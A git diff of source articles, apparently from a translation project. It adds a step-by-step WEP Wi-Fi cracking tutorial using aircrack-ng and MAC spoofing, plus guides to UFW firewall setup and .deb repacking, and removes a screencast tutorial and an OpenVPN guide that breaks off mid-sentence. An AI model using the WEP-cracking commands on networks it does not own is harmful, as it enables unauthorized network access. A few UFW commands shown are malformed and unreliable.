+![](http://img.gawkerassets.com/img/17idgc21242wbjpg/ku-xlarge.jpg) + +You already know that if you want to lock down your Wi-Fi network, you should [opt for WPA encryption][1] because WEP is easy to crack. But did you know how easy? Take a look. + +*Note: This post demonstrates how to crack WEP passwords, an older and less often used network security protocol. If the network you want to crack is using the more popular WPA encryption, see our [guide to cracking a Wi-Fi network's WPA password with Reaver][2] instead.* + +Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing [how to pick a lock][3] doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. + +Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes. + +### What You'll Need ### + +![](http://img.gawkerassets.com/img/17ggkrsu8hf19png/original.png) + +Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need: + +- **A compatible wireless adapter**—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the [Alfa AWUS036H][4], not the US050NH, instead. [The guy in this video][5] below is using a $12 model he bought on Ebay (and is even [selling his router of choice)][6]. There are [plenty of resources on getting aircrack-compatible adapters out there][7]. + +- **[A BackTrack Live CD][8]**. We already took you on a [full screenshot tour of how to install and use BackTrack 3][9], the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started. + +- **A nearby WEP-enabled Wi-Fi network**. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success. + +- **Patience with the command line**. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient. + +### Crack That WEP ### + +To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands. + +First run the following to get a list of your network interfaces: + + airmon-ng + +The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface). + +Now, run the following four commands. See the output that I got for them in the screenshot below. + + airmon-ng stop (interface) + ifconfig (interface) down + macchanger —mac 00:11:22:33:44:55 (interface) + airmon-ng start (interface) + +![](http://img.gawkerassets.com/img/17ggkrsub9llbpng/ku-xlarge.png) + +If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55. + +Now it's time to pick your network. Run: + + airodump-ng (interface) + +To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else. + +![](http://img.gawkerassets.com/img/17ggkrut97td8png/ku-xlarge.png) + +Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands. + +Now we're going to watch what's going on with that network you chose and capture that information to a file. Run: + + airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface) + +Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking. + +![](http://img.gawkerassets.com/img/17ggkrutbx04dpng/ku-xlarge.png) + +You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command: + + aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface) + +Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face. + +![](http://img.gawkerassets.com/img/17ggkrut9v67spng/ku-xlarge.png) + +You're almost there. Now it's time for: + + aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface) + +Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.) + +Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many. + +![](http://img.gawkerassets.com/img/17ggkrwseb5uipng/ku-xlarge.png) + +Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected: + + aircrack-ng -b (bssid) (file name-01.cap) + +Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension. + +If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this: + +![](http://img.gawkerassets.com/img/17ggkrws8f1gepng/ku-medium.png) + +The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network. + +### Problems Along the Way ### + +With this article I set out to prove that cracking WEP is a relatively "easy" process for someone determined and willing to get the hardware and software going. I still think that's true, but unlike the guy in the video below, I had several difficulties along the way. In fact, you'll notice that the last screenshot up there doesn't look like the others—it's because it's not mine. Even though the AP which I was cracking was my own and in the same room as my Alfa, the power reading on the signal was always around -30, and so the data collection was very slow, and BackTrack would consistently crash before it was complete. After about half a dozen attempts (and trying BackTrack on both my Mac and PC, as a live CD and a virtual machine), I still haven't captured enough data for aircrack to decrypt the key. + +So while this process is easy in theory, your mileage may vary depending on your hardware, proximity to the AP point, and the way the planets are aligned. Oh yeah, and if you're on deadline—Murphy's Law almost guarantees it won't work if you're on deadline. + +To see the video version of these exact instructions, check out this dude's YouTube video. + +[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10] + +Got any experience with the WEP cracking courtesy of BackTrack? What do you have to say about it? Give it up in the comments. + +-------------------------------------------------------------------------------- + +via: http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lifehacker.com/386675/secure-your-home-wi+fi-network +[2]:http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver +[3]:http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key +[4]:http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[referrer|lifehacker.com[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491 +[5]:http://www.youtube.com/watch?v=oHq-cKoYcr8 +[6]:http://www.youtube.com/watch?v=bFlOHMj7Qoc +[7]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.aircrack-ng.org%2Fdoku.php%3Fid%3Dcompatible_cards&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 +[9]:http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools +[10]:http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 \ No newline at end of file diff --git a/sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md b/sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md new file mode 100644 index 0000000000..0bcfb77388 --- /dev/null +++ b/sources/How to Install and Configure UFW – An Un-complicated FireWall in Debian or Ubuntu.md @@ -0,0 +1,273 @@ +How to Install and Configure UFW – An Un-complicated FireWall in Debian/Ubuntu +================================================================================ +Since computers are connected to each other, services are growing fast. **Email, Social Media, Online Shop, Chat** until **Web Conferencing** are services that used by user. But on the other side this connectivity just likes a double-side knife. It’s also possible to send bad messages to those computers like **Virus, malware, trojan-apps** are one of them. + +![UFW Firewall for Ubuntu](http://www.tecmint.com/wp-content/uploads/2013/12/UFW-Firewall.jpeg) + +*Install UFW Firewall* + +The Internet, as the biggest computer network is not always fill with good people. In order to make sure our computers / servers are safe, we need to protect it. + +One of the must have component on your computer / servers is **Firewall**. From **Wikipedia**, a definition is: + +> In computing, a firewall is a software or hardware-based network security system that controls the incoming and outgoing network traffic by analysing the data packets and determining whether they should be allowed through or not, based on applied rule set. + +**Iptables** is one of the firewall that widely used by servers. It is a program used to manage incoming and outgoing traffic in the server based on a set of rules. Generally, only trusted connection is allowed to enter the server. But **IPTables** is running at console mode and it’s complicated. Those who’re familiar with iptables rules and commands, they can read the following article that describes how to use iptables firewall. + +- [Basic IPTables (Linux Firewall) Guide][1] + +### Installation of UFW Firewall in Debian/Ubuntu ### + +To reduce the complexity of how-to setting **IPTables**, there is a lot of fronted. If you’re running **Ubuntu** Linux, you will find **ufw** as a default firewall tool. Lets start to explore about **ufw** firewall. + +### What is ufw ### + +The **ufw (Uncomplicated Firewall)** is an frontend for most widely used **iptables firewall** and it is well comfortable for host-based firewalls. ufw gives a framework for managing **netfilter**, as well as provides a command-line interface for controlling the firewall. It provides user friendly and easy to use interface for Linux newbies who are not much familiar with firewall concepts. + +While, on the other side same complicated commands helps administrators it set complicated rules using command line interface. The **ufw** is an upstream for other distributions such as **Debian, Ubuntu** and **Linux Mint**. + +#### Basic Usage ufw #### + +First, check if **ufw** is installed using following command. + + $ sudo dpkg --get-selection | grep ufw + + ufw install + +If it’s not installed, you can install it using **apt** command as shown below. + + $ sudo apt-get install ufw + +Before you use, you should check whether **ufw** is running or not. Use the following command to check it. + + $ sudo ufw status + +If you found Status: **inactive**, it mean it’s not active or disable. + +#### Enabling / Disabling ufw #### + +To enable it, you just need to type the following command at the terminal. + + $ sudo ufw enable + + Firewall is active and enabled on system startup + +To disable it, just type. + + $ sudo ufw disable + +#### List the current ufw rules #### + +After the firewall is activated you can add your rules into it. If you want to see what are the default rules, you can type. + + $ sudo status verbose + +##### Sample Output ##### + + Status: active + Logging: on (low) + Default: deny (incoming), allow (outgoing) + New profiles: skip + $ + +#### How to Add ufw rules #### + +As you see, by default every incoming connection is denied. If you want to remote your machine then you have to allow proper port. For example you want to allow ssh connection. Here’s the command to allow it. + +#### Allow Access #### + + $ sudo ufw allow ssh + + [sudo] password for pungki : + Rule added + Rule added (v6) + $ + +If you check the status again, you will see an output like this. + + $ sudo ufw status + + To Action From + -- ----------- ------ + 22 ALLOW Anywhere + 22 ALLOW Anywhere (v6) + +If you have a lot of rules, and want to put numbers on every rules on the fly, use parameter numbered. + + $ sudo ufw status numbered + + To Action From + ------ ----------- ------ + [1] 22 ALLOW Anywhere + [2] 22 ALLOW Anywhere (v6) + +The first rule says that incoming connection to **port 22** from **Anywhere**, both **tcp** or **udp** packets is allowed. What if you want to allow **tcp** packet only? Then you can add the parameter **tcp** after the **port** number. Here’s an example with sample output. + + $ sudo ufw allow ssh/tcp + + To Action From + ------ ----------- ------ + 22/tcp ALLOW Anywhere + 22/tcp ALLOW Anywhere (v6) + +#### Deny Access #### + +The same tricks is applied to Deny rule. Let say you want to deny ftp rule. So you only have to type. + + $ sudo ufw deny ftp + + To Action From + ------ ----------- ------ + 21/tcp DENY Anywhere + 21/tcp DENY Anywhere (v6) + +### Adding Specific Port ### + +Sometimes we have a custom port which is not follow any standards. Let’s say we change the **ssh** port on our machine from **22**, into **2290**. Then to allow port **2290**, we can add it like this. + + $ sudo ufw allow + + To Action From + -- ----------- ------ + 2290 ALLOW Anywhere + 2290 ALLOW Anywhere (v6) + +It also possible for you to add **port-range** into the rule. If we want to open port from **2290 – 2300** with **tcp** protocol, then the command will be like this. + + $ sudo ufw allow 2290:2300/tcp + + To Action From + ------ ----------- ------ + 2290:2300/tcp ALLOW Anywhere + 2290:2300/tcp ALLOW Anywhere (v6) + +while if you want to use **udp**, just use the following command. + + $ sudo ufw allow 2290:2300/udp + + To Action From + ------ ----------- ------ + 2290:2300/udp ALLOW Anywhere + 2290:2300/udp ALLOW Anywhere (v6) + +Please remember that you have to put ‘**tcp**’ or ‘**udp**’ explicitly otherwise you will get an error message similar to below. + + ERROR: Must specify ‘tcp’ or ‘udp’ with multiple ports + +### Adding Specific IP ### + +Previously we have added rules based on **service** or **port**. Ufw also allow you to add rules based on **IP Address**. Here’s the sample command. + + $ sudo ufw allow from 192.168.0.104 + +You can also use a subnet mask to wider the range. + + $ sudo ufw allow form 192.168.0.0/24 + + To Action From + -- ----------- ------ + Anywhere ALLOW 192.168.0.104 + Anywhere ALLOW 192.168.0.0/24 + +As you can see, from parameter will only limit the source of connection. While the destination – which is represented by **To** column – is **Anywhere**. You can also manage the destination using ‘**To**‘ parameter. Let’s see the sample to allow access to **port 22 (ssh)**. + + $ sudo ufw allow to any port 22 + +The above command will allow access from anywhere and from any protocol to **port 22**. + +### Combining Parameters ### + +For more specific rules, you can also combining IP Address, **protocol** and **port**. Let’s say we want to create rule that limit the connection only from IP 192.168.0.104, only protocol **tcp** and to port **22**. Then the command will be like below. + + $ sudo ufw allow from 192.168.0.104 proto tcp to any port 22 + +Syntax to create deny rule is similar with allow rule. You only need to change parameter from **allow** to **deny**. + +### Deleting Rules ### + +Sometime you may need to delete your existing rule. Once again with **ufw** it is easy to delete rules. From above sample, you have a rule below and you want to delete it. + + To Action From + -- ----------- ------ + 22/tcp ALLOW 192.168.0.104 + 21/tcp ALLOW Anywhere + 21/tcp ALLOW Anywhere (v6) + +There are two methods of deleting rules. + +**Method 1** + +The below command will **delete** rules that match service **ftp**. So the **21/tcp** which mean **ftp** port will be deleted. + + $ sudo ufw delete allow ftp + +**Method 2** + +But when you tried to delete the first rule at the above example using below command. + + $ sudo ufw delete allow ssh + + Or + + $ sudo ufw delete allow 22/tcp + +You may find an error message such as. + + Could not delete non-existent rule + Could not delete non-existent rule (v6) + +Then you can do this trick. As we mentioned above, you can show the number of rule to indicate which rule that we want to delete. Let we show it to you. + + $ sudo ufw status numbered + + To Action From + -- ----------- ------ + [1] 22/tcp ALLOW 192.168.0.104 + [2] 21/tcp ALLOW Anywhere + [3] 21/tcp ALLOW Anywhere (v6) + +Then you can delete the first rule using. Press “**y**” will permanently delete the rule. + + $ sudo ufw delete 1 + + Deleting : + Allow from 192.168.0.104 to any port 22 proto tcp + Proceed with operation (y|n)? y + +From those methods you will see the difference. **Method 2** will ask **user confirmation** before deleting the rule while **method 1** is not. + +### How to Reset Rules ### + +In some situation, you may want to **delete / reset** all rules. You can do it by typing. + + $ sudo ufw reset + + Resetting all rules to installed defaults. Proceed with operation (y|n)? y + +If you press “**y**”, then **ufw** will backup all existing rules before doing the reset your ufw. Resetting the rules will also disable your firewall. You need to enabled it again if you want to use it. + +### Advanced Functionality ### + +As I stated above, the ufw firewall can able to do whatever that iptables can do. This is accomplished by using various sets of rules files, which are nothing more than **iptables-restore** appropriate text files. Fine tuning ufw and/or placing additional iptables commands not allowed via the ufw command is a matter of editing several text files. + +- /etc/default/ufw: The main configuration for default policies, IPv6 support and kernel modules. +- /etc/ufw/before[6].rules: rules in these files are calculate before any rules added via the ufw command. +- /etc/ufw/after[6].rules: rules in these files are calculate after any rules added via the ufw command. +- /etc/ufw/sysctl.conf: kernel network tunables. +- /etc/ufw/ufw.conf: sets whether or not ufw is enabled on boot and sets the LOGLEVEL. + +### Conclusion ### + +**UFW** as a front-end to iptables surely make an easy interface to user. User don’t need to remember complicated iptables syntax. **UFW** also use ‘**plain english**‘ as its parameter. + +**Allow, deny, reset** are one of them. I believe that there are many more iptables front-end out there. But definitely ufw is one of the best alternative for users who want to setup their firewall fast, easy and of course secure. Please visit **ufw manual page** by typing **man ufw** for more detail. + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/how-to-install-and-configure-ufw-firewall/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/basic-guide-on-iptables-linux-firewall-tips-commands/ \ No newline at end of file diff --git a/sources/How to Make a YouTube Instructional Screencast Video on Linux.md b/sources/How to Make a YouTube Instructional Screencast Video on Linux.md deleted file mode 100644 index b49acb0577..0000000000 --- a/sources/How to Make a YouTube Instructional Screencast Video on Linux.md +++ /dev/null @@ -1,95 +0,0 @@ -translating by coolpigs - -How to Make a YouTube Instructional Screencast Video on Linux -================================================================================ -A picture is worth a thousand words, and a well-crafted how-to video is darned near priceless. Linux has all the tools you need to make high-quality and useful instructional videos. We shall make a simple screencast with the wonderful Kdenlive video editor and the Audacity audio recorder and editor, and learn how to share this splendid screencast on YouTube. - -All you need is your nice Linux PC with Kdenlive and Audacity installed, a good-quality microphone or headset, and a YouTube account. (Yes, there are many other free video-sharing services, and you are welcome to explore them.) YouTube is owned by Google, so Google tries to entice you into rampant sharing with everything and everyone in the world. Just say no if this is not what you want to do. - -Our workflow goes like this: - -- Capture screencast with Kdenlive -- Record soundtrack with Audacity -- Add soundtrack to Kdenlive -- Upload to YouTube -- The world views your video and is happy. - -Kdenlive supports most popular digital video formats, including AVI, MP4, H.264, and MOV. It supports image files such as GIF, PNG, SVG, and TIFF, and audio file formats including uncompressed PCM, Vorbis, WAV, MP3 and AC3. You can even read and edit Flash files. In short, it should handle pretty much anything you throw at it. - -Your soundtrack is just as important as your video track. Please, I beg you, pay attention to your audio. Keep it clean and simple, and keep the rambling digressions, verbal tics, and distracting background noises to a minimum. I prefer a good-quality headset for making narrations because you don't have to worry about microphone placement, and you can listen to yourself over and over without driving bystanders insane. - -The Kdenlive documention is outdated and tells you that you need RecordMyDesktop to make screencasts. I have Kdenlive 0.9.4, and it does not need RecordMyDesktop. - -![](http://www.linux.com/images/stories/41373/fig-1-settings.png) - -*Figure 1: Default profile settings.* - -### Making the Screencast ### - -If you're installing Kdenlive for the first time you'll get a configuration wizard at first run. Don't worry too much about the default settings because you can change them anytime. These are the settings I use for my screencasts: HD 720p 30 fps, 1280x720 screen size. How do you know what settings to use? [YouTube tells you][1]. To set these values go to Settings > Configure Kdenlive > Project Defaults > Default Profile > HD 720p 30fps (figure 1), and set the size of your screen capture in Settings > Configure Kdenlive > Capture > Screen Grab (figure 2). You may also choose a Full Screen Capture, though it's better to stick with the dimensions specified by YouTube, because if they're different YouTube adds pillarboxes to make them fit. Your eager viewers want to see a screen filled with glorious content, not pillarboxes. - -![](http://www.linux.com/images/stories/41373/fig-2-settings.png) - -*Figure 2: Screencast screen size.* - -The default YouTube video player size is 640x360 at 320p, which is small and blurry. The player has controls for small, larger, and full-screen, plus multiple quality levels. These are for your viewers only, and you can't change the defaults, which is sad because nothing looks good at 640x360 at 320p. But you still want to make videos with the higher quality settings, and you can always add some text to remind your viewers to try the better settings. - -### Save Your Project ### - -Before you do anything else go to File > Save as to save your project, and remember to save it periodically. - -### Screen Grab ### - -Making your screen capture is easy as pie. Go to the Record Monitor, select Screen Grab, and then hit the Record button. This opens a box with dotted borders on your screen, and everything inside this box is recorded. So all you have to do is move and size the window you want recorded inside the box. Do your thing, then when you're finished click the stop button (figure 3). - -![](http://www.linux.com/images/stories/41373/fig-3-screen-grab.png) - -*Figure 3: Making the screen grab.* - -Clicking Stop automatically opens the Clip Monitor so you can preview your new clip. If you like it, drag it from the Project Tree to the Video 1 track. Now you can edit your new video. There are always bits you'll want to trim; a fast way to do this is to play your clip in the Project Monitor until you get to the end of the part you want to remove. Then Pause, then press Shift+r. This cuts your clip at the point on the timeline that you stopped, so now you have two clips. Click on the one you want to delete and press the Delete key, and poof! It is gone. - -You'll want to drag your remaining clip to whatever point on the timeline you want it to start, and you might want to add some nice transitions. Some simple fades are good; simply right-click on your clip and click Add Effect > Fade > Fade from black and Fade to black, and Kdenlive will automatically place them at the beginning and end. - -### Adding a Soundtrack ### - -Please see [Whirlwind Intro to Audacity on Linux: From Recording to CD in One Lesson][2] to learn the basics of recording with Audacity. Export your recording as a 16-bit WAV file and then import it into Kdenlive via Project > Add Clip. Drag your new audio clip down to one of the Audio tracks. An easy way to make your narration is to play your video track and talk as it plays. With a little luck you won't have to do a lot of cleanup, and your commentary will be in sync with the video. - -![](http://www.linux.com/images/stories/41373/fig-4-audio-gap.png) - -*Fig 4: Cut your track with Shift+r and drag one of the clips away from the cut to create a silent gap.* - -If you're a fast talker and get ahead of your video, you can easily add a space in the audio track. Simply cut your track with Shift+r, and drag one of the clips away from the cut to create a silent gap (figure 4). - -### Rendering Your Project ### - -When you're happy with your edits and ready to export to your final format, click the Render button. This takes a few minutes depending on the speed of your computer and size of your project. There are presets for Web, and if you choose File Rendering you can tweak your settings (figure 5). I've gotten good results with File Rendering > H.264, Video bitrate 12000, and audio 384. H.264 is a super-compressed MPEG-4 format that delivers small file sizes and good quality. - -![](http://www.linux.com/images/stories/41373/fig-5-rendering.png) - -*Fig. 5: Choose File Rendering to tweak your Web settings.* - -### YouTube Bound ### - -Play your new video in VLC or MPlayer or whatever you like, and if it looks good then you're ready to upload to your YouTube account. In typical Google fashion your dashboard and video manager are disorganized and complicated, but keep poking around and you'll figure it out. Before you can do anything you'll have to put your account in good standing, which means getting a code number from Google via text or email. When you prove you're not a bot by entering the code number you'll be able to upload videos. - -You can upload your videos and mark them as either private or public. Google has some editing tools you might like, such as auto-fix and music soundtracks, though in my nearly-humble opinion hardly anyone does background music correctly so it's just annoying. But you might be the first to do it right! - -The most useful editing tool is automatic closed-captioning. I recommend using this on all of your videos, not only for people who can't hear very well but for anyone who has to keep the volume low, and to make sure everyone understands what you're saying. The captioning tool also creates a transcript. - -Another useful tool is the annotations tool, which supports speech bubbles, titles, spotlights, and labels. Of course you can do all this in Kdenlive, so you can try both. - -Well, here we are at the end and it seems we've barely begun. Please share your videos and YouTube tips and tricks in the comments. And while you're at it, please share your new video tutorial with us on [video.linux.com][3] and join the 100 Linux Tutorials Campaign. - - - --------------------------------------------------------------------------------- - -via: http://www.linux.com/learn/tutorials/745745-how-to-make-a-youtube-instructional-screencast-video-on-linux/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:https://support.google.com/youtube/answer/1722171?hl=en&ref_topic=2888648 -[2]:http://www.linux.com/learn/tutorials/422799-whirlwind-intro-to-audacity-on-linux -[3]:http://video.linux.com/100-linux-tutorials \ No newline at end of file diff --git a/sources/How to Repack Deb Files on Debian and Ubuntu.md b/sources/How to Repack Deb Files on Debian and Ubuntu.md new file mode 100644 index 0000000000..02f3bd9331 --- /dev/null +++ b/sources/How to Repack Deb Files on Debian and Ubuntu.md @@ -0,0 +1,46 @@ +How to Repack Deb Files on Debian and Ubuntu +================================================================================ +**The following tutorial will teach Ubuntu, Linux Mint and Debian GNU/Linux users how to easily unpack and repack a .deb file on their Debian-based Linux operating system.** + +![](http://i1-news.softpedia-static.com/images/news2/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930-2.jpg) + +Once in a while you reach a moment in life when, among other things, you want to modify a .deb file, to change something in it and repackage it back. But, only if you are truly into computing and hacking. + +The following example is a true story, as it happen to me a while ago. A Linux developer created a Debian package (.deb) for a software, which I’ve install on my Ubuntu powered computer with success. + +Apparently, the software did not worked correctly, as it was always stuck when it tried to retrieve some files from a Git repository. So, I knew where the files where installed (in the /opt directory), I’ve searched the code, found the issue and repair it in place. After that, the program was no longer stuck when it tried to retrieve the packages it needed. + +So, long story short, I wanted to unpack the .deb file, replace the file I’ve patched in it, and repackage it back so I can install it on other computers or give it to my friends. How do I do that? + +After searching the Internet for an answer to my problem, I’ve found a small blog called [ailoo.net][1] where it was explained like this: + + mkdir -p extract/DEBIAN + dpkg-deb -x package.deb extract/ + dpkg-deb -e package.deb extract/DEBIAN [...do something, e.g. edit the control file...] + mkdir build + dpkg-deb -b extract/ build/ + +These five commands will do the job like a charm. Let me explain them to you: the first one creates a folder called “extract” and a subfolder called “DEBIAN”; the second command will extract some files from your .deb package in the “extract” folder; the third command will extract the content of the .deb package in the “DEBIAN” subfolder, where you can modify/patch the files you want; the fourth command will create a folder called “build”; and the fifth command will repack the modified files into a new .deb package, which will be generated in the “build” folder. + +That’s it! Just remember to stick with the commands above, and modify the files visually with a graphical text editor via your default file manager, after you’ve executed the third command. Do not hesitate to comment below if you run into problems during this tutorial. + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/How-to-Repack-Deb-Files-on-Debian-and-Ubuntu-404930.shtml + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ailoo.net/2009/06/repack-a-deb-archive-with-dpkg-deb/ +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: \ No newline at end of file diff --git a/sources/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md b/sources/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md deleted file mode 100644 index e0461bb892..0000000000 --- a/sources/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1.md +++ /dev/null @@ -1,108 +0,0 @@ -(正在翻译 by whatever1992) -How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 1 -================================================================================ -It's always been prudent to wrap a warm comfy layer of encryption over your Internet travels to foil snoops of all kinds, and with our own government slurping up every bit wholesale it's more crucial than ever. OpenVPN is the top choice for protecting networking over untrusted networks. Today we'll learn a quick way to set up OpenVPN so you can securely access your home server when you're on the road. - -A quick note on VPNs: there are many commercial VPNs that aren't worth the bits they're printed on. They're little better than SSL-protected Web sites, because they trust all clients. A true VPN (virtual private network) connects two trusted endpoints over untrusted networks. You can't just log in from whatever random PC you find, and this is good because (presumably) you understand that logging in to your private network from an infected host is a bad thing to do, no matter how secure the connection is. So you have to configure both your server and client. - -### OpenVPN Quickstart ### - -You need two computers on different subnets, like a wired and wireless PC on the same network (or a couple of Linux guests in Virtualbox), and you need to know the IP addresses of both PCs. Let's call our example computers Studio and Shop. Install OpenVPN on both of them. OpenVPN is included in most Linux distributions, so you can install it with your favorite package manager. This example is for Debian, Ubuntu, and their myriad descendants: - - $ sudo apt-get install openvpn openvpn-blacklist - -That installs the server and a little program to check the blacklist of compromised keys. You must install the blacklist checker! Because once upon a time Debian distributed a [broken version of OpenSSL][1] which had a broken random number generator, so keys created with this are assumed to be too vulnerable to trust. The random number generator was not really random, but predictable. This happened way back in 2008, and everyone who used the defective OpenSSL was supposed to hunt down and replace their weak keys. Even though it's been over five years, it's cheap insurance to use the blacklist checker. - -Now let's test it by creating an unencrypted tunnel between our two PCs. First ping each machine to make sure they're talking to each other. Then make sure that OpenVPN is not running, because we're going to start it manually: - - $ ps ax|grep openvpn - -If it is, kill it. Let's say that Studio's IP address is 192.168.1.125, and Shop's is 192.168.2.125. Open an unencrypted tunnel from Studio to Shop: - -$ sudo openvpn --remote 192.168.2.125 --dev tun0 --ifconfig 10.0.0.1 10.0.0.2 - -Then from Shop to Studio: - - $ sudo openvpn --remote 192.168.1.125 --dev tun0 --ifconfig 10.0.0.2 10.0.0.1 - -When you make a successful connection you'll see something like this: - - Wed Oct 16 2013 ******* WARNING *******: all encryption and authentication - features disabled -- all data will be tunnelled as cleartext - Wed Oct 16 2013 TUN/TAP device tun0 opened - Wed Oct 16 2013 do_ifconfig, tt->ipv6=0, tt->did_ifconfig_ipv6_setup=0 - Wed Oct 16 2013 /sbin/ifconfig tun0 10.0.0.1 pointopoint 10.0.0.2 mtu 1500 - Wed Oct 16 2013 UDPv4 link local (bound): [undef] - Wed Oct 16 2013 UDPv4 link remote: [AF_INET]192.168.2.125:1194 - Wed Oct 16 2013 Peer Connection Initiated with [AF_INET]192.168.2.125:1194 - Wed Oct 16 2013 Initialization Sequence Completed - -"Initialization Sequence Completed" are the magic words that confirm you did it right. You should be able to ping back and forth with the tunnel addresses, ping 10.0.0.1 and ping 10.0.0.2. When you build your tunnel you may use whatever IP addresses you want that don't overlap with your existing network. To close your tunnel press Ctrl+c. - -Just for fun open an SSH session over your tunnel. Figure 1 shows a successful SSH login over a VPN tunnel, and it also demonstrates the fancy Message of the Day from [Put a Talking Cow in Your Linux Message of the Day][1]: - - $ ssh carla@10.0.0.2 - -![](http://www.linux.com/images/stories/41373/SSH-OpenVPN.jpg) - -*Figure 1: A successful SSH session over a VPN tunnel, and a fancy MOTD.* - -Hurrah, it works! - -### Encrypted VPN Tunnel ### - -This is all fun and exciting, but pointless without 